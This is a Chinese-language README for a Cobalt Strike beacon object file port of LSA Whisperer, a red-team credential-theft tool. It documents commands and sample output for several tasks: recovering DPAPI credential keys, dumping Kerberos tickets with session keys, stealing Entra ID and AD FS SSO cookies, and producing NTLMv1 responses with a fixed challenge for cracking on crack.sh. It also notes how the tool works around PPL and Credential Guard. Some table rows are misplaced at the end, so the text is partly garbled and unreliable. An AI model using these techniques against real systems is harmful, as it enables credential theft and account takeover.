
一个 Cobalt Strike Beacon 对象文件 (BOF) 移植版,基于 LSA Whisperer——该工具通过 LSA 非受信/受信客户端接口直接与 Windows 身份验证包通信,即使启用了 PPL 和 Credential Guard,也无需访问 LSASS 进程内存。
LSA Whisperer 由 Evan McBroom(SpecterOps)开发,证明了你可以通过合法的 LsaCallAuthenticationPackage API 调用恢复 DPAPI 凭据密钥、提取云 SSO 令牌以及与 Kerberos 交互——无需内存读取、进程注入或打开 LSASS 句柄。
本项目将这些能力以 BOF 形式引入 C2,用于红队演练。它从不打开 lsass 进程的句柄,所有调用都通过 LsaCallAuthenticationPackage(用于与 lsass 通信的官方客户端 API)进行,因此 LSASS 上的 PPL 完全无效。PPL 保护 LSASS 进程不被打开、读取或注入。
| 命令 | 描述 |
|---|---|
lsa-credkey [LUID] | 恢复 DPAPI 凭据密钥。支持 Credential Guard。 |
lsa-strongcredkey [LUID] | 恢复强 DPAPI 凭据密钥(Win10+)。 |
lsa-ntlmv1 [LUID] [challenge] | 使用自定义挑战生成 NTLMv1 响应。默认挑战 1122334455667788 兼容 crack.sh 彩虹表。 |

| 命令 | 描述 |
|---|---|
lsa-klist [LUID] | 列出缓存的 Kerberos 票据。 |
lsa-dump [LUID] | 将所有票据转储为带有会话密钥的 base64 .kirbi 数据块。 |
lsa-purge [LUID] [server] | 清除票据。支持按服务器名称选择性清除。 |

| 命令 | 描述 |
|---|---|
lsa-ssocookie [LUID] | 通过 AAD 插件提取 Entra ID(Azure AD)SSO Cookie。 |
lsa-devicessocookie [LUID] |
LUID:0 或省略以使用当前会话。十六进制值(例如 0x3e7)用于指定特定登录会话。定位其他会话需要 SYSTEM 权限。
beacon> lsa-credkey 0x21d57
[*] MSV1_0 GetCredentialKey
[+] SUCCESS - DPAPI Credential Keys recovered!
[+] CredSize: 0x28 (40 bytes)
[*] Local CredKey (SHA OWF): <20-byte key>
[*] Domain CredKey (NT OWF): <16 or 20-byte key>
将恢复的密钥与 SharpDPAPI 配合使用:
SharpDPAPI.exe masterkeys /credkey:<key_hex> /target:<masterkey_path>
beacon> lsa-ntlmv1 0x21d57
[*] MSV1_0 Lm20GetChallengeResponse (NTLMv1 Generation)
[+] NTLMv1 Response generated!
[*] Hashcat (mode 5500):
DOMAIN\user::HOSTNAME::NTResponse:1122334455667788
使用默认挑战,将响应提交至 crack.sh 即可即时恢复 NT 哈希。
beacon> lsa-ssocookie 0x21d57
[+] SSO Cookie received!
[*] Cookie: ESTSAUTH=<token>
lsa-whisperer-bof/
├── lsa-whisperer.cna # 攻击脚本(加载此文件)
├── Makefile
├── include/
│ ├── bofdefs.h # BOF API 声明 + DFR 导入
│ └── lsa_structs.h # 所有 LSA/MSV1_0/Kerberos/CloudAP 结构体
├── src/
│ ├── common/
│ │ └── lsa_common.c # 共享的 LSA 初始化、辅助函数、输出格式化
│ ├── msv1_0/
│ │ └── msv1_0_bof.c # MSV1_0 命令
│ ├── kerberos/
│ │ └── kerberos_bof.c # Kerberos 命令
│ └── cloudap/
│ └── cloudap_bof.c # CloudAP/AAD 命令
└── build/ # 编译后的 BOF(make 后生成)
每个模块编译为独立的 BOF。公共代码在编译时包含(标准 BOF 模式)——无共享库或运行时依赖。
| 上下文 | 能力 |
|---|---|
| 当前用户(非特权) | lsa-klist、lsa-ssocookie、lsa-cloudinfo(针对自身会话) |
SYSTEM(SeTcbPrivilege) | 所有命令,可通过 LUID 定位任意登录会话 |
使用 logonpasswords 或 klist 枚举可用的 LUID,以查找目标会话。
lsa-credkey 和 lsa-strongcredkey 可在 Credential Guard 下工作。lsa-ntlmv1 会被其阻止。1122334455667788 可通过 crack.sh 实现免费的彩虹表破解。自定义挑战也可工作,但需要标准暴力破解。lsa-purge 配合服务器筛选器仅移除匹配的票据——适用于有针对性的 Kerberos 滥用,而不会中断用户的会话。本项目是 LSA Whisperer 的 BOF 移植版,原作者为 Evan McBroom (@EvanMcBroom),来自 SpecterOps。所有底层研究——未文档化的 MSV1_0 协议消息、CloudAP/AAD 插件调用接口以及实现所需的结构体定义——均出自他手。
主要参考资料:
| 提取设备 SSO Cookie。 |
lsa-enterprisesso [LUID] | 提取 AD FS 企业 SSO Cookie。 |
lsa-cloudinfo [LUID] | 查询云提供商信息、TGT 状态、DPAPI 状态。 |